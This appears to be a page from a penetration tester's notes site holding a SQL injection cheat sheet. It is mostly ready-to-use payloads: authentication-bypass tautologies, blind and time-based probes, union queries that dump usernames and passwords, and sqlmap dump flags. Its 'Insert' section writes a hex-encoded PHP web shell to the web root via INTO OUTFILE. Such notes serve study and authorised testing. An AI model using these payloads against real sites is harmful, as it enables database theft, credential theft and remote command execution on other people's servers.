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<ul><details id=crypto ontoggle="linkClick(this); return false;" ><summary>Crypto</summary><ul><details id=openssl ontoggle="linkClick(this); return false;" ><summary>Openssl</summary><ul><li><a href="/crypto/openssl/openssl.html">openssl</a></li><li><a href="/crypto/openssl/openssl_engine.html">openssl_engine</a></li></ul></details><li><a href="/crypto/rsa.html">rsa</a></li></ul></details><details id=enumeration ontoggle="linkClick(this); return false;" ><summary>Enumeration</summary><ul><details id=containers ontoggle="linkClick(this); return false;" ><summary>Containers</summary><ul></ul></details><details id=docs ontoggle="linkClick(this); return false;" ><summary>Docs</summary><ul><li><a href="/enumeration/docs/aws.html">aws</a></li><li><a href="/enumeration/docs/cewl.html">cewl</a></li><li><a href="/enumeration/docs/dns.html">dns</a></li><li><a href="/enumeration/docs/docker_enumeration.html">docker_enumeration</a></li><li><a href="/enumeration/docs/ffuf.html">ffuf</a></li><li><a href="/enumeration/docs/gobuster.html">gobuster</a></li><li><a href="/enumeration/docs/kerberoast.html">kerberoast</a></li><li><a href="/enumeration/docs/kubectl.html">kubectl</a></li><li><a href="/enumeration/docs/ldap.html">ldap</a></li><li><a href="/enumeration/docs/linux_basics.html">linux_basics</a></li><li><a href="/enumeration/docs/microk8s.html">microk8s</a></li><li><a href="/enumeration/docs/nfs.html">nfs</a></li><li><a href="/enumeration/docs/nikto.html">nikto</a></li><li><a href="/enumeration/docs/nmap.html">nmap</a></li><li><a href="/enumeration/docs/port_knocking.html">port_knocking</a></li><li><a href="/enumeration/docs/rpcclient.html">rpcclient</a></li><li><a href="/enumeration/docs/rsync.html">rsync</a></li><li><a href="/enumeration/docs/rustscan.html">rustscan</a></li><li><a href="/enumeration/docs/shodan.html">shodan</a></li><details id=snmp ontoggle="linkClick(this); return false;" ><summary>Snmp</summary><ul><li><a href="/enumeration/docs/snmp/onesixtyone.html">onesixtyone</a></li><li><a href="/enumeration/docs/snmp/snmpcheck.html">snmpcheck</a></li></ul></details><li><a href="/enumeration/docs/websites.html">websites</a></li><li><a href="/enumeration/docs/wfuzz.html">wfuzz</a></li><li><a href="/enumeration/docs/wpscan.html">wpscan</a></li></ul></details><details id=network_scanners ontoggle="linkClick(this); return false;" ><summary>Network_scanners</summary><ul></ul></details><details id=windows ontoggle="linkClick(this); return false;" ><summary>Windows</summary><ul><li><a href="/enumeration/windows/bloodhound.html">bloodhound</a></li><li><a href="/enumeration/windows/event_log.html">event_log</a></li><li><a href="/enumeration/windows/manual_enum.html">manual_enum</a></li><li><a href="/enumeration/windows/powershell.html">powershell</a></li><li><a href="/enumeration/windows/rpcclient.html">rpcclient</a></li><li><a href="/enumeration/windows/sysinternals.html">sysinternals</a></li><li><a href="/enumeration/windows/sysmon.html">sysmon</a></li><li><a href="/enumeration/windows/vss.html">vss</a></li></ul></details></ul></details><details id=exfiltration ontoggle="linkClick(this); return false;" ><summary>Exfiltration</summary><ul><details id=dns ontoggle="linkClick(this); return false;" ><summary>Dns</summary><ul><li><a href="/exfiltration/dns/dns.html">dns</a></li></ul></details><details id=linux ontoggle="linkClick(this); return false;" ><summary>Linux</summary><ul><li><a href="/exfiltration/linux/nc.html">nc</a></li><li><a href="/exfiltration/linux/wget.html">wget</a></li></ul></details><details id=windows ontoggle="linkClick(this); return false;" ><summary>Windows</summary><ul><li><a href="/exfiltration/windows/evil-winrm.html">evil-winrm</a></li><li><a href="/exfiltration/windows/loot.html">loot</a></li><li><a href="/exfiltration/windows/smb_connection.html">smb_connection</a></li></ul></details></ul></details><details id=exploit ontoggle="linkClick(this); return false;" ><summary>Exploit</summary><ul><details id=CPUs ontoggle="linkClick(this); return false;" ><summary>CPUs</summary><ul><li><a href="/exploit/CPUs
</ul>
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<div class="column column-3">
<ul>
<li><a href="#sql-injection">SQL Injection</a><ul>
<li><a href="#finding-an-opportunity">Finding an Opportunity</a></li>
<li><a href="#usage">Usage</a><ul>
<li><a href="#boolean-true-and-false">Boolean True and False</a></li>
<li><a href="#time-based">Time based</a></li>
<li><a href="#blind-injection-guessing-characters">Blind injection // Guessing characters</a></li>
<li><a href="#union-based">Union based</a></li>
<li><a href="#identify-database">Identify Database</a><ul>
<li><a href="#sql-functions">SQL Functions</a></li>
</ul>
</li>
</ul>
</li>
<li><a href="#insert">Insert</a><ul>
<li><a href="#examples">Examples</a></li>
</ul>
</li>
<li><a href="#payloads">Payloads</a></li>
</ul>
</li>
</ul>
</div>
<h1 id="sql-injection">SQL Injection</h1>
<ul>
<li><a href="https://blog.raw.pm/en/sql-injection-mysql-comment/">MySQL Comments</a></li>
</ul>
<h2 id="finding-an-opportunity">Finding an Opportunity</h2>
<ul>
<li>GET parameter</li>
</ul>
<div class="codehilite"><pre><span></span><code>http://example.com/index.php?id<span class="o">=</span><span class="err">&#39;</span> or <span class="nv">1</span><span class="o">=</span><span class="m">1</span> -- -
</code></pre></div>
<ul>
<li>Sometimes an ID or may come first</li>
</ul>
<div class="codehilite"><pre><span></span><code>http://example.com/index.php?id<span class="o">=</span><span class="m">10</span> or <span class="nv">1</span><span class="o">=</span><span class="m">1</span> -- +
http://example.com/index.php?id<span class="o">=</span><span class="m">10</span><span class="s1">&#39; or &#39;</span><span class="m">1</span><span class="s1">&#39;=&#39;</span><span class="m">1</span><span class="s1">&#39;-- -</span>
<span class="s1">http://example.com/index.php?id=-1&#39;</span> or <span class="nv">1</span><span class="o">=</span><span class="m">1</span> -- -<span class="p">&amp;</span><span class="nv">password</span><span class="o">=</span>x
</code></pre></div>
<ul>
<li>Provoke error to gain information</li>
</ul>
<div class="codehilite"><pre><span></span><code>http://example.com/index.php?id<span class="o">=</span><span class="err">&#39;</span>
</code></pre></div>
<ul>
<li><strong>Incase of client side sanitization craft the URL instead of using the form!!!</strong></li>
</ul>
<h2 id="usage">Usage</h2>
<ul>
<li>Example, terminate string via <code>'</code> and resolve via tautology, comment the rest of the string via <code>--</code></li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="k">SELECT</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">users</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">username</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">admin</span><span class="w"> </span><span class="k">AND</span><span class="w"> </span><span class="n">password</span><span class="w"> </span><span class="p">:</span><span class="o">=</span><span class="w"> </span><span class="s1">&#39; and 1=1 -- -</span>
<span class="s1">SELECT * FROM users WHERE username = admin AND password := &#39;</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="mi">1</span><span class="o">=</span><span class="mi">1</span><span class="w"> </span><span class="c1">--+</span>
</code></pre></div>
<h3 id="boolean-true-and-false">Boolean True and False</h3>
<div class="codehilite"><pre><span></span><code><span class="k">SELECT</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">users</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="n">username</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">admin</span><span class="w"> </span><span class="k">AND</span><span class="w"> </span><span class="n">password</span><span class="w"> </span><span class="p">:</span><span class="o">=</span><span class="mi">1</span><span class="s1">&#39; or 1 &lt; 2 --+</span>
<span class="s1">SELECT * FROM users WHERE username = admin AND password :=1&#39;</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="o">&gt;</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="c1">--+</span>
</code></pre></div>
<ul>
<li>Blind boolean base substring fuzzing, one char at a time, by inspecting the return value after each inserted char.</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="s1">&#39; UNION SELECT null,null,null where database() like &#39;</span><span class="n">da</span><span class="o">%</span><span class="err">&#39;</span><span class="p">;</span><span class="c1">-- -</span>
</code></pre></div>
<h3 id="time-based">Time based</h3>
<ul>
<li>Checking input blindly via sleep() function. Count number of cols in this way. If it is successful, the sleep(5) function executes</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="err">&#39;</span><span class="w"> </span><span class="k">union</span><span class="w"> </span><span class="k">select</span><span class="w"> </span><span class="n">sleep</span><span class="p">(</span><span class="mi">3</span><span class="p">),</span><span class="w"> </span><span class="k">null</span><span class="p">;</span><span class="w"> </span><span class="c1">-- -</span>
</code></pre></div>
<h3 id="blind-injection-guessing-characters">Blind injection // Guessing characters</h3>
<div class="codehilite"><pre><span></span><code>http://example.com/?id<span class="o">=</span><span class="m">1</span><span class="err">&#39;</span> and substr<span class="o">((</span><span class="k">select</span> database<span class="o">())</span>,1,1<span class="o">)</span> &lt; <span class="m">105</span> --+
</code></pre></div>
<div class="codehilite"><pre><span></span><code>http://example.com/?id<span class="o">=</span><span class="m">1</span><span class="err">&#39;</span> and <span class="o">(</span>ascii<span class="o">(</span>substr<span class="o">((</span><span class="k">select</span> database<span class="o">()</span>,1,1<span class="o">))</span> <span class="o">=</span> <span class="m">115</span> --+
</code></pre></div>
<ul>
<li>Function substr(string, start, length)</li>
<li>sqlmap via <code>--level=5 --risk=3 --dbms=sqlite --technique=b --dump</code> </li>
</ul>
<h3 id="union-based">Union based</h3>
<ul>
<li>_First method__ check by order until error occurs</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="s1">&#39; order by 1 -- -</span>
<span class="s1">&#39;</span><span class="w"> </span><span class="k">order</span><span class="w"> </span><span class="k">by</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="c1">-- -</span>
<span class="err">&#39;</span><span class="w"> </span><span class="k">order</span><span class="w"> </span><span class="k">by</span><span class="w"> </span><span class="mi">3</span><span class="w"> </span><span class="c1">-- -</span>
</code></pre></div>
<ul>
<li><strong>Second method</strong> fuzzing NULL values, followed by fuzzing data types</li>
<li>Check number of cols</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="s1">&#39; UNION SELECT NULL--</span>
<span class="s1">&#39;</span><span class="w"> </span><span class="k">UNION</span><span class="w"> </span><span class="k">SELECT</span><span class="w"> </span><span class="k">NULL</span><span class="p">,</span><span class="k">NULL</span><span class="c1">--</span>
<span class="err">&#39;</span><span class="w"> </span><span class="k">UNION</span><span class="w"> </span><span class="k">SELECT</span><span class="w"> </span><span class="k">NULL</span><span class="p">,</span><span class="k">NULL</span><span class="p">,</span><span class="k">NULL</span><span class="c1">--</span>
<span class="o">#</span><span class="w"> </span><span class="k">until</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">error</span><span class="w"> </span><span class="n">occurs</span><span class="w"></span>
</code></pre></div>
<ul>
<li>Check which one is a string</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="s1">&#39; UNION SELECT &#39;</span><span class="n">a</span><span class="s1">&#39;,NULL,NULL,NULL--</span>
<span class="s1">&#39;</span><span class="w"> </span><span class="k">UNION</span><span class="w"> </span><span class="k">SELECT</span><span class="w"> </span><span class="k">NULL</span><span class="p">,</span><span class="s1">&#39;a&#39;</span><span class="p">,</span><span class="k">NULL</span><span class="p">,</span><span class="k">NULL</span><span class="c1">--</span>
<span class="s1">&#39; UNION SELECT NULL,NULL,&#39;</span><span class="n">a</span><span class="s1">&#39;,NULL--</span>
<span class="s1">&#39;</span><span class="w"> </span><span class="k">UNION</span><span class="w"> </span><span class="k">SELECT</span><span class="w"> </span><span class="k">NULL</span><span class="p">,</span><span class="k">NULL</span><span class="p">,</span><span class="k">NULL</span><span class="p">,</span><span class="s1">&#39;a&#39;</span><span class="c1">--</span>
</code></pre></div>
<ul>
<li>Retrieve content, for cols and comment two times as an example. Or dump database</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="s1">&#39; UNION SELECT NULL,NULL,database(),NULL,NULL from users -- //</span>
<span class="s1">&#39;</span><span class="w"> </span><span class="k">UNION</span><span class="w"> </span><span class="k">SELECT</span><span class="w"> </span><span class="k">NULL</span><span class="p">,</span><span class="n">username</span><span class="p">,</span><span class="n">password</span><span class="p">,</span><span class="k">NULL</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">users</span><span class="w"> </span><span class="c1">-- //</span>
</code></pre></div>
<ul>
<li>Retrieve content by union poking the count and order, afterwards extracting tables via</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="m">0</span> union <span class="k">select</span> null, null, database<span class="o">()</span>
<span class="m">0</span> union <span class="k">select</span> null, null, group_concat<span class="o">(</span>table_name<span class="o">)</span> from information_schema.tables where <span class="nv">table_schema</span> <span class="o">=</span> <span class="s1">&#39;found_db&#39;</span>
<span class="m">0</span> union <span class="k">select</span> null, null, group_concat<span class="o">(</span>column_name<span class="o">)</span> from information_schema.columns where <span class="nv">table_name</span> <span class="o">=</span> <span class="s1">&#39;found_tablename&#39;</span>
<span class="m">0</span> union <span class="k">select</span> null, null, group_concat<span class="o">(</span>username, <span class="s1">&#39;:&#39;</span>, password from found_tablename
</code></pre></div>
<ul>
<li><a href="https://www.owasp.org/index.php/SQL_Injection">OWASP SQLi Docs</a></li>
</ul>
<h3 id="identify-database">Identify Database</h3>
<div class="codehilite"><pre><span></span><code><span class="nv">id</span><span class="o">=</span>sqlite_version<span class="o">()</span>
<span class="nv">id</span><span class="o">=</span>@@version <span class="c1"># mysql/mssql</span>
<span class="nv">id</span><span class="o">=(</span>SELECT banner FROM v<span class="nv">$version</span><span class="o">)</span> <span class="c1"># oracle</span>
</code></pre></div>
<h4 id="sql-functions">SQL Functions</h4>
<ul>
<li>Use sql functions to fumble the tables &amp; cols via union</li>
<li><a href="https://medium.com/@nyomanpradipta120/sql-injection-union-attack-9c10de1a5635">source</a></li>
<li>Extract tables </li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="mi">1</span><span class="err">&#39;</span><span class="w"> </span><span class="k">and</span><span class="w"> </span><span class="mi">1</span><span class="o">=</span><span class="mi">2</span><span class="w"> </span><span class="k">union</span><span class="w"> </span><span class="k">select</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="n">group_concat</span><span class="p">(</span><span class="k">table_name</span><span class="p">),</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">information_schema</span><span class="p">.</span><span class="n">tables</span><span class="w"> </span><span class="k">where</span><span class="w"> </span><span class="n">table_schema</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">database</span><span class="p">()</span><span class="w"> </span><span class="c1">-- -</span>
</code></pre></div>
<ul>
<li>sqlite specific</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="err">&#39;</span><span class="w"> </span><span class="k">UNION</span><span class="w"> </span><span class="k">SELECT</span><span class="w"> </span><span class="k">sql</span><span class="p">,</span><span class="w"> </span><span class="k">sql</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">sqlite_master</span><span class="w"> </span><span class="c1">-- -</span>
</code></pre></div>
<div class="codehilite"><pre><span></span><code><span class="p">(</span><span class="k">SELECT</span><span class="w"> </span><span class="k">sql</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">sqlite_master</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="k">type</span><span class="o">!=</span><span class="s1">&#39;meta&#39;</span><span class="w"> </span><span class="k">AND</span><span class="w"> </span><span class="k">sql</span><span class="w"> </span><span class="k">NOT</span><span class="w"> </span><span class="k">NULL</span><span class="w"> </span><span class="k">AND</span><span class="w"> </span><span class="n">name</span><span class="w"> </span><span class="o">=</span><span class="s1">&#39;usertable&#39;</span><span class="p">)</span><span class="w"></span>
<span class="p">(</span><span class="k">SELECT</span><span class="w"> </span><span class="n">group_concat</span><span class="p">(</span><span class="n">tbl_name</span><span class="p">)</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">sqlite_master</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="k">type</span><span class="o">=</span><span class="s1">&#39;table&#39;</span><span class="w"> </span><span class="k">and</span><span class="w"> </span><span class="n">tbl_name</span><span class="w"> </span><span class="k">NOT</span><span class="w"> </span><span class="k">like</span><span class="w"> </span><span class="s1">&#39;sqlite_%&#39;</span><span class="p">)</span><span class="w"></span>
</code></pre></div>
<ul>
<li>Extract cols</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="m">1</span><span class="s1">&#39; and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = database() and table_name =&#39;</span>user<span class="err">&#39;</span>-- -
</code></pre></div>
<ul>
<li>Data from cols</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="mi">1</span><span class="err">&#39;</span><span class="w"> </span><span class="k">and</span><span class="w"> </span><span class="mi">1</span><span class="o">=</span><span class="mi">2</span><span class="w"> </span><span class="k">union</span><span class="w"> </span><span class="k">select</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="n">group_concat</span><span class="p">(</span><span class="n">username</span><span class="p">,</span><span class="mi">0</span><span class="n">x3a</span><span class="p">,</span><span class="n">password</span><span class="p">),</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="k">user</span><span class="c1">-- -</span>
</code></pre></div>
<h2 id="insert">Insert</h2>
<ul>
<li>Check user file permissions</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="k">union</span><span class="w"> </span><span class="k">all</span><span class="w"> </span><span class="k">select</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="n">group_concat</span><span class="p">(</span><span class="k">user</span><span class="p">,</span><span class="mi">0</span><span class="n">x3a</span><span class="p">,</span><span class="n">file_priv</span><span class="p">),</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">mysql</span><span class="p">.</span><span class="k">user</span><span class="w"> </span><span class="c1">-- -</span>
</code></pre></div>
<ul>
<li>Insert file through insertion of <code>system()</code> or <code>exec_shell()</code> and a get parameter</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="o">&lt;</span><span class="n">cookieID</span><span class="o">&gt;</span><span class="s1">&#39;into outfile &#39;</span><span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="n">www</span><span class="o">/</span><span class="n">html</span><span class="o">/</span><span class="n">shello</span><span class="p">.</span><span class="n">php</span><span class="err">&#39;</span><span class="w"> </span><span class="n">lines</span><span class="w"> </span><span class="n">terminated</span><span class="w"> </span><span class="k">by</span><span class="w"> </span><span class="mi">0</span><span class="n">x3c3f706870206563686f20223c7072653e22202e2073797374656d28245f4745545b22636d64225d29202e20223c2f7072653e223b3f3e</span><span class="w"> </span><span class="c1">-- -</span>
</code></pre></div>
<ul>
<li>Insert <code>&lt;?php system($_GET["cmd"]); ?&gt;</code> </li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="err">&quot;</span><span class="w"> </span><span class="k">Union</span><span class="w"> </span><span class="k">Select</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="n">x201c3c3f7068702073797374656d28245f4745545b2018636d6420195d293b203f3e201d</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="w"> </span><span class="k">INTO</span><span class="w"> </span><span class="n">OUTFILE</span><span class="w"> </span><span class="s1">&#39;/var/www/html/shell.php&#39;</span><span class="w"> </span><span class="c1">-- -</span>
</code></pre></div>
<h3 id="examples">Examples</h3>
<ul>
<li>sqli inside HTTP request to an API. Five values inside select have been discovered before</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="err">GET /about/0 UNION select column_name, null,null,null,null from information_schema.columns where table_name = &#39;user&#39; HTTP/1.1</span>
</code></pre></div>
<div class="codehilite"><pre><span></span><code>* Get col names
```HTTP
GET /about/0 UNION all select group_concat(column_name), null,null,null,null from information_schema.columns where table_name = &#39;user&#39; HTTP/1.1
```
* Get notes from users by id
```HTTP
GET /about/0 UNION all select notes, null, null, null, null from users where id = 4711 HTTP/1.1
```
</code></pre></div>
<h2 id="payloads">Payloads</h2>
<ul>
<li><a href="https://github.com/payloadbox/sql-injection-payload-list#generic-sql-injection-payloads">List</a></li>
</ul>
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